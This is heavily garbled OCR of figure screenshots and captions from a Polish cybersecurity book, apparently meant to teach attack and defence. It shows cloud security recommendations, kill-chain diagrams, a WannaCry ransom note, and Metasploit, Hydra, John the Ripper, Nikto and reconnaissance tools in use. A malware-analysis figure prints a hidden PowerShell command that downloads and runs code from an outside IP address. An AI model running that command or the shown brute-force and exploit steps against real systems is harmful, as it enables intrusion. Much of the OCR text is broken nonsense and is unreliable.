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‘ P Search recommendations

‘Control status : All Recommendation status : 2 Selected Recommendation maturity : All Severity : All Resource
Responseactions: Al Contans exemptons: Al Environmenti Al —
Controls Mex scare Current Score Potential score increase
i Enable MFA 10 o +17% (10 pointsh
MFA should be enabled on accounts with owner permissions on your sub...
MFA should be enabled on accounts with owner permissions on your subs...
“~  Secure management ports 3 sTo annnnnn +2% (1.21 paints)

Internet-facing virtual machines should be protected with network securi...
Management perts should be closed on your virtual machines

Management ports of virtual machines should be protected with just-in-t..

Rysunek 1.4. Zalecenia majace zastosowanie do fazy uzyskiwania
poczatkowego dostepu MITRE ATT&CK

Home > Microsoft Defender for Cloud >

Management ports of virtual machines should be protected with just-in-time network access control
(@ Exempt (& View policy definition 5 Open query

Severity Freshness interval

I High @ 24 Hours

Tactics and techniques

ﬂ Initial Access +1

“ Description

Azure Security Center has identified some over

y-pe rules for

ports inyour Network Security Group, Enable just-in-time access control to protect your VM from internet-based brute:
more.

~ Remediation steps

v Affected resources
Unhealthy (4)  Healthy (27)  Not i (9

[0 search virtual machines

[ Mame

T4 subscription

Rysunek 1.5. Zalecenie zamkniecia portu zarzadzania
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Rysunek 1.6. Wielowarstwowa ochrona tozsamosci

Aplikacje zatwierdzone przez firme

Zatacznik e-maila
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Arkusz kalkulacyjny bedacy
wiasnoscia firmy (poufny)
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Aplikacje osobiste

Rysunek 1.7. Scenariusz BYOD z izolacja zatwierdzonych aplikacji korporacyjnych



Cyberbezpieczenistwo — strategie ataku i obrony

Tradycyjne systemy
powiadamiania

—
= (- Analiza behawioralna

Ciagte monitorowanie
bezpieczenstwa

Uczenie maszynowe
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—

Rysunek 1.8. Ciggte monitorowanie bezpieczenstwa wspierane przez tradycyjne
systemy alarmowe, analize behawioralng i uczenie maszynowe

Stan zabezpieczen

Ochrona Wykrywanie Reagowanie

Rysunek 1.9. Trzy filary wiasciwego stanu zabezpieczen: ochrona,
wykrywanie i reagowanie
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Atrybuty zaufania

Dostawca tozsamosci

Reguty warunkowe  Serwer proxy Zasoby
Katalog urzadzen
Rysunek 1.10. Niektore komponenty ZTA
These recommendations directly affect your secure score, They L i eact ing a gory
Focus your eforts on controls worth the mest points. and fxal recommendations for allresourcesina control toget the max points. ~ Learn more >
£ Searchrecommendations Controlstatus: All 2 Selected AL Serty AN Resourcetype: All [ Soct by max score
Respanse actions : All Contains exemptions: All 4schcted v Tactics: Al
B seectan
Contrals Max scone [P— ACtong
> Enablemea 0 B e +17% (10 points) 20l 18 resources -
> Secure management ports 8 B s icassr n +2% (129 points) £
> Reenediste vulnersbilities L] . [7e3 +10% (335 paints) 496663 resources 1
~ Apply system updates & B s previews ! + 2% (096 paints) 8of 68 resources ——
Log Analytics agent should be installed on your virtual ma... = I} 4
[~ Iytic shoukd yourtindaws—. @ & Hone EmET— ()
[ Log Analytics agent should be installed on your Linu-base.. & & rone —— (5
5 i machines B 1 of S0VMS & servers i
¥ - ® R rane —_—
System updates on virtaal machine scale sets shoukd beins.. & B Hoce —
R 55M agent shoukd be Installed on your AWS EC2 Instances B 3003 AWS resowmes | —
A Ros @ 1012ANSAOS D8 Instances [ee—

Rysunek 1.11. Zalecenia CSPM dla platform Azure, AWS i GCP

Zespot czerwony

2 EITITITTTE
- X

' Atak i penetracja

# Mechanizmy kontroli bezpieczeristwa

Zasoby

Rysunek 1.12. Podstawowy przeptyw pracy zespotu czerwonego
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Zaktadanie naruszenia bezpieczenstwa

..............................................................................................................

Monitorowanie
pojawiajacych sie
zagrozen

Rysunek 1.13. Interakcje zespotow czerwonego i niebieskiego
podczas cwiczenia konfrontacji
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X

Ooops, your files have been encrypted!

What Happened to My Computer?
Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.
Payment will be raised on Bl Can 1 Recover My Files?
5/16/2017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
Time Left ou can decrypt some of your files for free. Try now by clicking<Decrypt>.

a | But if you want to decrypt all your files, you need to pay.
ouonly have 3 days to submit the payment. After that the price will be doubled.
Also,if you don’t pay in 7 days, you won’t be able to recover your files forever.
e will have free events for users who are so poor that they couldn’t pay in 6 months.
files will be lost on
How Do I Pay?
2202004008150 Payment is accepted in Bitcoin only. For more information, click<About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>.
And send the correct amount to the address specified in this window.
After your payment, click<Check Payment>. Best time to check: 9:00am - 11:00am

Time Left

Send $300 worth of bitcoin to this address:

12t9YDPgwueZ9NyMgw519p7AABisjr6SMw
Check Payment Decrypt

bitcoin

ACCEPTED HERE

Rysunek 2.5. Ekran z fali atakéw WannaCry

Z URL, IP address, domain, or file hash Q ~ g8 (D Signin m ‘7
|
[ ]
1 (@ 1.security vendor flagged this IP address as malicious :i:
/89
27.102.70.211 (27.102.0.0/16) KR

Py
AS 45996 ( DAOU TECHNOLOGY ) -
2

% Community '/
Score

DETECTION DETAILS RELATIONS COMMUNITY

CRODF @ Malicious 0xsl_f33d @ Clean

Rysunek 2.6. Wynik skanowania za pomoca narzedzia VirusTotal
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Z URL, IP address, domain, or file hash Q

[>

Google Results

About 3 results (0.19 seconds)

cobaltstrike-extraneous-space/cobaltstrike-servers.csv at master ...
github.com

Historical list of {Cobalt Strike,NanoHTTPD} servers - cobaltstrike-extraneous-space/cobaltstrike-servers.csv at master ...

Reference: https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike ...
pastebin.com
Mar 5, 2019 ... Reference: https://blog.fox-it_com/2019/02/26identifying-cobalt-strike-team-servers-in-the-wild/ IP Address, Country 1.122.234.70,AU ...

Rysunek 2.7. Karta szczegotow skanowania narzedzia VirusTotal

Matrices  Tactics Techniques DataSources  Mitigatio Groups S e Res s bute | Search

cobalt strike X

Cobalt Strike, Software S0154
Cobalt Strike Cobalt Strike is a commercial, full-featured, remote access tool that bills itself as "adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of ...

Rysunek 2.8. Wyszukiwanie na stronie MITRE ATT&CK

Enterprise  T1059 .001  Command and Scripting Interpreter: ~ Cobalt Strike can execute a payload on a remote host with PowerShell. This technique does not write any data to disk.
PowerShell (114 Cobalt Strike can also use PowerSploit and other scripting frameworks to perform execution 8/31(5112]

Rysunek 2.9. Technika uzywana przez Cobalt Strike

(@) 31 security vendors flagged this file as malicious

4415KB 2021-11-09 10:51:20 UTC

Size 19 days ago
; cve-2017-11882  exploit ole-embedded  rtf
X Community
DETECTION DETAILS BEHAVIOR comMumTve
Ad-Aware @ ExploitMathType Gen AhnLab-V3 (@ OLE/Cve-2017-11882.Gen
ALYac (@ ExploitCVE-2017-11882.Gen Avast (@ Other:Malware-gen [Trj]
AVG (@ Other:Malware-gen [Trj] BitDefender @ ExploitMathType.Gen
CAT-QuickHeal (@ Exp.CVE-2017-11882.39986 ClamAV (@ Doc.Dropper.Agent-6424087-0
Comodo @ FExploit WI7M.CVE2017-11882 H@83ngtk Cyren (@ CVE-2017-11882.C.geniCamelot
DrWeb @ ExploitRtf.258 Emsisoft @ ExploitMathType.Gen (8)
eScan @ ExploitMathType.Gen ESET-NOD32 (@ Probably A Variant Of Win32/Exploit CVE-
FireEye (@ ExploitMathType.Gen Fortinet (@ Msoffice/CoinMiner.Clexploit
GData (@ Exploit.CVE-2017-11882.Gen (2x) Ikarus @ Exploit.CVE-2017-11882
Kaspersky (@ HEURExploitMSOffice Generic Lionic (@ Hacktool.MSOffice.Generic.31c
MAX @ Malware (ai Score=95) McAfee (@ Exploit-CVE2017-T1882.c
McAfee-GW-Edition (@ BehavesLike.Trojan.pv Microsoft @ FExploit:097M/CVE-2017-11882.A
Rising (@ Exploit.CVE-2017-1188211.0440 (CLASSIC) Sangfor Engine Zero (@ ExploitWin32.CVE-2017-11882.SAVE

Rysunek 2.10. Wyszukiwanie skrétu pliku
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Z 8a57464c93d4f6d85e51e07748d4ffccOb9e6b5a64642aec859040d1606fd0f8
Process And Service Actions

Permissions Requested

SE_DEBUG_PRIVILEGE

Processes Created

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Shell Commands

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring("http://46.21.147.61:80/a"))"

Processes Injected

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes Terminated
C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Services Opened
RASMAN

rasman

Processes Tree

I% 3808 - eqnedt32.exe
l% 2684 - eqnedt32.exe

(—} 3704 - powershell.exe

Rysunek 2.11. Kolejne dowody na ztosliwe uzycie programu PowerShell



Rozdziat 3. Czym jest cyberstrategia?

Zagrozenie
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Aktywa
(wartosc¢
i wptyw)

Podatnos¢ |

Rysunek 3.2. llustracja definicji ryzyka

Co
/
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\ strategii
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Rysunek 3.3. Elementy, ktore powinien uwzgledniac plan cyberstrategii
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Rozdziat 4. tancuch niszczenia cyberzabezpieczen

Active
Directory 'a

Podnoszenie

uprawnien .
|
—> s

Rysunek 4.1. Pionowe i poziome podnoszenie uprawnien

Zainfekowany punkt koricowy

-

0|
-
Skanowanie sieci Podejrzany ruch sieciowy Nieautoryzowany
dostep do zasoboéw
e ‘ dle
Zrzuty haset Zbyt duzy ruch Zbyt wiele pofaczen

Rysunek 4.2. Obszary, w ktérych pomocne moze by¢ narzedzie UEBA
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NN, Terminal — ruby — 105x22
msf use windows/smb/ms08_067_netapi
msf exploit( D) show options

Module options:
Name Current Setting Required Description

RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

it target:
Id Name

O Automatic Targeting

msf exploit( set RHOST 192.168.1.71
RHOST 192.168.1.71
msf exploit(

Rysunek 4.3. Interfejs frameworku Metasploit

8.NO Terminal — ruby — 105x22
windows/imap/eudora_list Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow
windows/imap/novel 1 _netmail_auth Novell NetMail 3.52d IMAP AUTHENTICATE Buffer Overflow

Compatible payloads

Name Description

generic/shell_bind_tcp Generic Command Shell, Bind TCP Inline

windows/dl linject/bind_tcp Reflective D1l Injection, Bind TCP Stager
windows/meterpreter/bind_tcp Windows Meterpreter (Reflective Injection), Bind TCP Stager
windows/metsvc_bind_tcp Windows Meterpreter Service, Bind TCP
windows/patchupdllinject/bind_tcp Windows Inject DLL, Bind TCP Stager
windows/patchupmeterpreter/bind_tcp Windows Meterpreter (skape/jt injection), Bind TCP Stager
windows/patchupvncinject/bind_tcp Windows VNC Inject (skape/jt injection), Bind TCP Stager
windows/shell/bind_tcp Windows Command Shell, Bind TCP Stager
windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline
windows/upexec/bind_tcp Windows Upload/Execute, Bind TCP Stager
windows/vncinject/bind_tcp VNC Server (Reflective Injection), Bind TCP Stager

Rysunek 4.4. Kompatybilne tadunki we frameworku Metasploit
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:~# nikto -
Nikto v2.1.6

Target IP: 69.164
Target Hostname:
Target Port: 80
i 2018-03-23 13:11:33 (GMT3)

Server: Apache/2.4.7 (Ubuntu)
Retrieved x-powered-by header: PHP/5.5.9-1lubuntu4.24
The anti-clickjacking X-Frame-Options header is not present.
The X-XSS-Protection header is not defined. This header can hint to the user agent to prg
tect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render
he content of the site in a different fashion to the MIME type
TEST SESSIONID created without the httponly flag
NB_SRVID created without the httponly flag
Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x65 0x52770f2
c6d6a3
+ "robots.txt" contains 4 entries which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (f]
inal release) and 2.2.29 are also current.
Web Server returns a valid response with junk HTTP methods, this may cause false positivd

OSVDB-3092: /cart/: This might be interesting...

0SVDB-326 /images/: Directory indexing found.

0SVDB-326 /images/?pattern=/etc/*&sort=name: Directory indexing found.
0SVDB-323 /icons/README: Apache default file found.

/login.php: Admin login page/section found.

7449 requests: 0 error(s) and 15 item(s) reported on remote host

End Time: 2018-03-23 14:50:58 (GMT3) (5965 seconds)

Rysunek 4.6. Uzycie narzedzia Nikto do szukania luk w zabezpieczeniach
serwera Ubuntu
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WiFiAP IEEEB02.11 WPA-TKIP 26 1 Speiaas BY el e 6

[ Wi-Fi AP IEEEB02.11 WPA-CCMP 54 1u Apridons Tl 3 = =
WiFiClient  IEEEB02.11 wa 48 1n S o { . 0

[ WS WiFiclent  IEEES0211 wa 66 10 Apiaams il o L= S
p IE€E802.11 wa 22 bt st =L T——— 0

[ . IEEEB02.11 n/a 32 10 Ll 919K8  ____ I [

[ WiFiClient  IEEEBO211 /a 46 12 Sz 916KB 0

[ Hi IEEEB02.11 na -64 3 R 736 KB o

Showing 1 to 12 of 90 entries

Messages  Channels.*

20

il

Curent | Hisorcal ‘& past Minte ¥ | Fier
I 202 Gz [l 2417 Gz [ 2422 GHe

2427 Gri [ 2432 iz [ 2437 iz [ 2.442 G [ 2.447 v [N 2452 vz [ 2457 iz [ 2952 iz [ 2.467 G [ 2472 G

File Help

‘J Scan | Brute

|

Rysunek 4.7. Zrzut ekranu z narzedzia Kismet

= =il

‘ElZIil

P [10.0012

] Port [3306 ] Service lmysql

\CH Run ]

Try blank password Try login as password ¥ Loop around users ¥ Exit on firstvalid [ Verbose [ Additional Options

@® Username O Username list Browse | O Found user names

@ Password O Password list I ] [ Browse J O Found passwords Threads |16 ¢
[DATA] attacking service mysgl on port 3306

[INFO] Reduced number of tasks to 4 (mysgl does not like many parallel connections)

[3306][mysql] host: 10.0.0.12 login: root password:

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2015-01-05 15:32:54

Log
‘ Progress Tool Host Start time Status 3

I hydra (3306/tcp) 10.0.0.12 05Jan 2015 15:32:03 Finished

B x ] 1screen (6000/tcp) 10.0.0.50 05 Jan 2015 14:45:18 Finished

Y nikto (8180/tcp) 10.0.0.12 05 Jan 2015 14:45:18 Finished

Rysunek 4.8. Sparta w trakcie ataku brute force
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root@kali:™ ®© 0

File Edit View Search Terminal Help
i~
i:~# john --wordlist=/usr/share/john/password.lst /root/johns passwd
Created direCTOTY-7TOUT/ . JOMMI
arning: detected hash type "sha5l2crypt", but the string is also recognized as
"erypt”
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (shaS5l2crypt, crypt(3) $6$ [SHAS
112128128 SSE222]h)
ill run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
d &phn)
:00:07) DONE [[2015-11-06 01:44) 0.1424g/s 505.1p/s 650.9c/s 650.9C/s modem

"--show"option to display all of the cracked passwords reliably

Session completed
I ii~#

Aircrack-ng B.4.2

[B0:00:084] Tested 21263 keys (got 1088195 IUs)>

=

hyteduote)

8EC 66> 3DC 17> 2DC 17> DAC 16> BF(C F4(

CCC 243> 9BC 16> 69¢ 15> ABC 18> BB(C F3¢

28< 183> DAC 16> CAC 11> 972<C 8> 2B( 98¢
212> ACC 28> 69¢ 19> 15> 63¢

B
(5]
1
2
3
4
5
6
?
8
9
(5]

[y

Rysunek 4.12. Airgeddon
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Antena 8 dB

Rysunek 4.13. Ptytka drukowana Deauther

Rysunek 4.14. EvilOSX
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COMODO

MITRE Kill Chain

©

TIMELINE

Weaponization

Combining exploit through
backdoors into deliverable

@

HOURS TO MONTHS

payload

Exploitation

Exploiting a vulnerability to
execute code on victim's
system

SECONDS

onthe asset

Pre-Attack
TA0017 Organization TA0012 Priorilr
Information Gathering Definition Planning Definition Direction
TA0019 People TA0015 Technical TA0014
Weakness Identificati 9
Reconnaissance
Collecting email addresses, izati TA0016 Peopl TA0018 Technical
profilelists, conference Weak ion Gathering
information, etc...
TA0O7 Discovery
> apechnlaues)
Q TA0025 TA0022 Establish &
Stage Capabilities Maintain
A Pre-Aiiacic 1§ | Pre-Atiacic
TA0024 TA0021 TA0023
Test Capabilities Adversary OPSEC Build Capabilities
@ Delivery
Attac
Transferring weaponized bundle e T e
to the victim or targets via UM CCesS) LR S iSCOVELY)
emall web,usb et (9 techniques) (34Techniques) (24 Techniques)
A Acack 1
TA001 Initial Access TA005 Defense Evasion TA002 Execution
(9 techniques) (34 Techniques) (10 Techniques)
@ Installation S \Aiack ]
N TA005 Defense Evasion TA003 Persistence
Installing malware (34Techniques) (18 Techniques)

N ~
Command & @
© =

Control [c2]
= =

Remote manipulation of
the victim's system(s)

(92}
T begin
=
P4 .
o , Action on
@ Objectives
"Hands on Keyboard"

access to the intruders as
they now have full read,
write privilege:

==

TA004 Privilege Escalation
(12 Techniques)

TA0011 Command and
Control (16 Techniques)

TA008 Lateral Movement | TA006 Credential Access
(9 Techniques) (14 Techniques)

TA009 Collection
(16 Techniques)

TA0010 Exfiltration TA0040 Impact
(9 Techniques) (13 Techniques)

Rysunek 4.15. tancuch niszczenia Comodo-MITRE

Szczego6towe Sledzenie
aktywnosci przeciwnika

Taktyki

Profilowanie zrédet danych

i opracowywan

Taktyki

ieanaliz

Zwiekszanie defensywnych mozliwosci przewidywania
i obrony przed przeciwnikami, zanim uruchomia eksploit

Rysunek 4.16. Taktyki stosowane przeciwko fazie przygotowania

INTRUSION PREPERATION

ACTIVE BREACH
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®
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From Sydney, Austalia

© o

Intro

Named among Top 50 Technology Leaders 2021 by IDC working with
passion on securing cyber space

Edit bio

CISO / Chief Cybersecurity Strategist at Xcitium
® Lecturer at Charles Sturt University

@ Former Regional Chief Information Security Officer at Standard

Chartered

® Former Cybersecurity Architect at Microsoft
®® Former Author at Pluralsight
® Former Chief Information Security Officer at Secunia

®® Former Owner/Managing Director at CEO Training

8 Former Director of IT at The Bright Group

# Studied Doctor of Philosophy in Information systems and
technology at Charles Stun University

2 Studied Information of Technology (IT) at Charles Sturt
University

# Studied Bachelour of IT Support at Western Sydney University
#2 Studied Literature at Hacettepe Universitesi

Lives in Hoboken, New Jersey

¥ From Sydney, Australia

@ erdalozkaya.com

Engineering

Learn the art of human hacking with an internationally
renowned expert

Rysunek 5.2. Oktadka ksiazki Learn Social Engineering
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‘ Atakujacy wstrzykuja

eksploity w strone czesto
odwiedzana przez ofiary

a—
Atakujqqy Eksploity
pozyskuja @Q@ infekuja zto$liwym
informacje oprogramowaniem podatne

o swoich celach . p na ataki systemy

Atakujacy rozpoczynaja
ztodliwe dziatania przy
uzyciu podrzuconego

ztosliwego oprogramowania

Rysunek 5.3. Technika wodopoju

2. Przygotowanie

4. Przeprowadzenie
ataku

F

(<3 B
i

3. w,
1. Rekonesans ! I §7 .
& kona"'le

L1

Rysunek 5.4. Cyberprzestepcy wykorzystuja phishing podczas
atakow socjotechnicznych
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UISHING

Rysunek 5.5. Vishing to phishing za posrednictwem potaczen telefonicznych

Czy mozesz
podaé ewoje IP pracownika
i hacto w celu weryfikacji
danych dotyczacych
wynagrodzer?

Rysunek 5.6. Krétka historyjka obrazkowa o vishingu
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S-ﬂ | NT® Vulnerability Scanner pe,,e"mnTesJ.:‘

® & O & x @ Q§

Home Sessions @ Scan Data® Opti Schedul Help®

P

| of Primary Targets =» | X Authentication — ‘/ Scan Policy = | X Firewall Support

Upload Target File  Free-form Target Selection

Add target(s) Selected Targets:
v BySingleIP 10.100.3

By IP Range - 10.7.0

By Subnet H dd 10.1.0.0/24

By CIDR Block http://www.saintcorporation.com
By Host name Delete | Delete All

By URL )

FromFile host(s) only. (Disables smurf/fraggle check.)

From SAINT Key the target hosts' subnet(s).

| Data Preservation

Data from a previous scan of one or more of the selected targets is currently loaded in this
session.

@ Archive previous scan data for future reference.

OMerge)new scan data with previous data. (New data will overwrite old data for the same
target.

| Actions

| ScanNow | Scanlater |

Rysunek 5.7. SAINT
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%] Command Prompt

HHEHEE
ST T
FressERiEspnREaEHRlatHRERAES

AR/ /
S

S ST

HEFHHAHHE S
HFEEHHHHHHH AR

Rysunek 5.8. Uruchamianie narzedzia Seathelt.exe
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Command Prompt

S

sHEHHHHE AR
HHSHHHHE R
R

(##

HEHHE RS

Rysunek 5.9. Kontrola oprogramowania antywirusowego wykonywana przez Seathelt.exe

File Tools Help

| pscan ‘INFo SPIDER USCAN | FUZZ

Settings

Target [host | IPv4]:

webshag 1.10 -

[192.168.1.202

Results

Open Ports: Port Details:
22

80

9876

Console:

INFO Scan of 192.168.1.202 finished
INFO Found 3 open ports.

Rysunek 5.16. GUI Webhshaga
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File Edit View Search Terminal Hely File Edit Selection Find View Goto To¢

Internal (
External (

Uine 18, Column 1

Rysunek 5.17. Webshag w akcji

_ Awre-FOCAFree32 - TEN

Project Tools & Options  (y TaskList &’ About [ Donate
5@ 6552720 ~

§ console.cloudappnet [@972.12
8 rswscloudappnet (6555 < 28]
Ty r :A
§ distributedcomputing cloudappret [65.5070.98) |
§ as0sp2010.doudapp.net [Giglh73.110] |

3 minipulse coudapp.net (65.52..<.180]

S 65
§ licloudappnet (65,3988, 155 Avrbute Value
e b Serversin Range
B stots cloudappet [65.5£°723.42] _
& 655 500 white.cloudappnet (65 52.
8 ndscloudappnet 65T T144) || [ watchmisearch.cloudappnet f654 #52202)
G- 65 5T ||| shipping cloudappnet (65.52.5a34
8 yellostromcloudapp.net (65.520783]
S g 659 1980
B core.cloudappnet [ 138.220]
R 5o

¥ gatecloudapp.net [65. 52 129.27)
8 dm.cloudappnet 65.5% . 8.106]
28 65500
8 h2-gaccloudappnet 65.52.1 5 88)
=& 6550 o
8 union.cloudapp.net (65 SL5.247)
= 4@ 65521460
§ pss.cloudappnet [65.c 1467 |
B c22202676d184f53bccd2bSf3c26c413 cloudapp. |
P52 |
§ nwovicloudappnet [65.87.114]
E 165521520
3 white.cloudapp.net (6383 52.11]
¥ watchmisearch.cloudappnet [65 FE82.202]
§ shipping.cloudappnet (658 82.234]

6)

= g 655 B30 |
§ maine cloudappnet (655 & .2.154] v
<H |
Tme  Source Severty  Message @
Conf 5 Deactivate AutoScroll | | %% Clear = save log toFFile.

Rysunek 5.18. Rekonesans chmurowy narzedzia FOCA
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for 64

1) This is most likely a mobile number, but it can still be a VoIP nunm

Rysunek 5.19. Weryfikacja numeru telefonu komérkowego
za pomoca narzedzia Phonelnfoga
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£ theHarvester : bash — Konsole

File Edit View Bookmarks Settings Help

Rysunek 5.20. Opcje uzycia narzedzia theHarvester
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—ARN-

American Registry for Internet Numbers

Search Site or Whois

a IP Addresses & ASNs > Policy & Participation~  Reference &Tools > About~  Blog

ARIN Whois/RDAP

‘ erdalozkaya.com

» Search www.arin.net instead

~ Search Filter: Domain

all requests subject to terms of use

Domain Search Result

Handle
Name
Nameservers

Registration

Expiration

Last Update Of RDAP Database
Self

Related

Port 43 Whois

Related Entities

1545081292_DOMAIN_COM-VRSN
ERDALOZKAYA.COM

ANGELA.NS.CLOUDFLARE.COM
JERRY.NS.CLOUDFLARE.COM

Tue, 03 Mar 2009 03:44:43 GMT (Tue Mar 03 2009 local time)

Tue, 03 Mar 2009 03:44:43 GMT (Tue Mar 03 2022 local time)

Tue, 28 Dec 2021 11:34:57 GMT (Tue Dec 28 2021 local time)
https://rdap.verisign.com/com/v1/domain/ERDALOZKAYA.COM
https://rdap.dreamscapenetworlcs.com/domain/ERDALOZKAYA.COM
not provided

~ 1 Entity

Full Name
Handle

Dreamscape Networks International Pte Ltd
1291

Rysunek 5.22. Wyniki wyszukiwania w rejestrze ARIN
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NOWDEXpB

19b4cddedfod

7€9d809

1julvhog=

std: Per

DNSSEC is n

cd
tion.outlook.com 104.47.
.outl, .com 104.47.5
tion.outlook.com 40.93.20
.mail.prote 2
t-com.mail.

A microsoft.c

A microsoft.com

A microsoft.

A microsoft.com 40.113.200

A microsoft.com 13.77.161.179

TXT microsoft.com docusign=dsa

TXT microsoft.com v=spfl include it spf-b.microsoft.com incluc .microsoft.com
f-a.hotmail.com includ

Rysunek 5.24. Wyszukiwanie odwrotne zakresow adresow IP
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@ httpsy//dnsdumpster.com

DNS Servers
MICROSOFT-CORP-MSN-AS-BLOCK

ns1-205.azure-dns. com. 40.90.4.205

eoxeo
ns2-20! %
L Unived State
13.107.24.205 MICROSOFT—CORP-MSN-AS—BLOCK

£53-205_azure-dns_org

ns3-205.azure—dns.org.

eoxeo

United States

MICROSOFT-CORP-MSN-AS-BLOCK

13.107.160.205

ns4-205.azure-dns. info.
£34-205_ azure-dns_info

QoOxe o

MICROSOFT-CORP-MSN-AS-BLOCK

United States

10 microsoft-com.mail.protection.outlook. 52.101.24.0

=xe

"docusign-dsa3737c-c23c-4bd0-9095-d2££621£2840"

"v=spfl includ —a_microsoft.com include:_spf-b.microsoft-

sp:
include:spf-a.hotmail.com include:_spfl-meo.microsoft.com -all

YAL1)DyyB3S-{2fECIHTDIE"

"google-site-verification=Zzv1IVEEZG4NIWDEXDBS:

"adobe rification 9b4cdd4d£0d5778517£29e0934
3d-46£7-95d4-15ac6509bEdd"
8-2FCaUXNNPCYN29EVW2RVTASDCaDRO

ion-Baa35cs28a£5d72bebloblbd3edobecdsTeaT£24b2ba3co9EECd00C2TRd!

Rysunek 5.25. Uzycie narzedzia DNSdumpster
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Pricing @

TOTAL RESULTS

microsoft.com

15,292

TOP COUNTRIES

4

United States. 6,880
Netherlands 3,647
Singapore 534
Australia a3
China 383
More...

TOP PORTS
443 7,615
8443 3,281
4443 2,638
80 481
2 205
More...

TOP ORGANIZATIONS.

Microsoft Corporation 7,510
Microsoft Corp 963
Microsoft Limited UK 867
Akamai Technologies, Inc. 533
Amazon Technologies Inc. 308
More...

TOP PRODUCTS

Apache httpd 1,818

5

View Report (@ View on Map

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

210.51.13.226

Being Tongtai IDC of China
Netcom

B China, Shanghai

220 Microsoft -f-t-pService
536 no AMOWNOUS access alloved.
214- The following commands are recognized (* -> unimplenented)

Usex poRT AUO  DELE  SITE w0 o FEAT
PASS AV STOR  REST  GD  STAT R XWP  OPTS
At Twe  ARE

[EE American Express - Not Found [/

1307120221
raveldata-r1 americanexpress.
American Express Company.

= United Statos, New York
ciy

HTTP Status 404 a€“ Not Found [/

13891240219
Mcrosoft Corp
= United Sttes, San Jose:

@ sSL Certificate HITP/1.1 464 Mot Found
\ssuod By X-Frane-Options: SAMEORIG)
- Comman Name X-Content-Type-Options: nosniff
Valdaton Server CA XoxSS-protection: 1; mod

Referrer-policy: same-
- Orgarizaton 4
ot one-App-version: 4.91.
Cache-Control: no-store
tssued To pragra: no-cache
- Gommon Name Xowsr
overdna-
L americanoxpross.com
- Orgarizaion
American Express Company

‘Supported SSL Versions:

Tsviz

@ ssL Certificate HTTP/1.1 464 Not Found
Issued By
- Commen Name: X-Frane-ptions: sancorigin

defaute-sre
A
orgaizaton
oigertine
Issued To:

“xm.loud com

it Systems, .

‘Supportad SSL Varsions:

Rysunek 5.26. Shodan w dziataniu

202112287

202112287

202112287

*sele" nitps://*.cloud.us hetps://*.cloud
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Spider © Scan £ Investigate G Monitor %8 Configure ~

Feodo Botnet Analysis

@ Overview @ Correlatiol

Total Data Elements Top 5 Data Families
15,622
! 3 ? Date
Unique Data Elements
7.245 > Network Object
i

Errors

3

Status Description

Web Data

Protocol Data

B Scan [c49762c7643clel7bfe6f-f45eed0e61559dc80b36a548382b9d17518e£697b0b] completed.

Data Elements: Unique vs. Non-unique
B Unique Non-unique

20000
3000

50
1 |||||IIIII|||||||||||||--.........-
& s . . 8

CFEOE L S Do R D s
@‘b S bb‘ @ I FE S E00 I S @* s
FeFog LS OSSN IE N E N S
O X P 7C N NI @%@@@ L 5% S S
& V@ N o SR \o&@‘“ DY O RS \100@ DR
N 0 R E LT ¢ X
4 & TR SN S F &°

o & C

Rysunek 5.27. Skan SpiderFoota

[[feemetton

@) { keepnet =] Pr——— 1 W

Show Hide Columns: [GRBBIDAE) Terpiate Nome  Company Name | Type [OWABH Tage  Action
[ (167 ¥]records per page
s (0] records per page Search: copy |[[Ecel |[esv|[Tpor |

nishing Simulator

Template Name oyt s[iwe o[ = action .
PhistingScenao TwierAds succestly procssed your paymert, Keepret ats Gutom | damsmi | engih caena
Compaign Mansges

afgsse o Costam e T o [ iemied | o caena

8 fveacenez Edlcatog Twitter Ads successfully processed your payment. System System data submit | english Z @ ® 0 A
New Secure EmlSevceToughtworks-Copy Keepnettabs cosom, | [Sam [ | ok @aen s
S — Keeprettats Costom ||t et | ok “aena
Yourebay ol forOctober Keepret abs Custorn | [ da sut et | i caena
T E—— Keepret abs oo | Ao g | S caeaa
CompariestouseRegtiotion Keepnet abs G| [zt gt caena
Documentiohe camined Keepnetabs Cutorn | [l bt [ s @ @ena
SearR Tompit o | e S
Showing 1 t0 1001 115 entes st [ pevtous [0 2 [ 314 5] = | 12 [ Mo | 1ot

Rysunek 5.28. Moduty w Keepnet Labs
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n

Router wi-fi Komputer ofiary

Sniffer
o]
Hacker przechwytuje ruch sieciowy

Rysunek 5.30. Sniffing

Konsole- root@localhost:/usr/src/tools/prismdump- Konsole = (O] x|
File Sessions Settings Help

[root@localhost prismdump]# ./prism-getIV.plL < test.t
Match normal order [MSB]: 3 255 7 219

Match normal order [MSB]: 4 255 7 144

Match normal order [MSB]: 5 255 7 177

Match normal order [MSB]: 6 255 7 93

Match normal order [MSB]: 7 255 7 11

Match normal order [MSB]: 8 255 7 92

Match normal order [MSB]: 10 255 7 184

D Newv“ @ Konsole

Rysunek 5.31. Prismdump w dziataniu

Help-
:~# tcpdump -i eth@® 1l
tcpaump: listening on ethu, - | B (EThernet), captur ize 262144 bytes
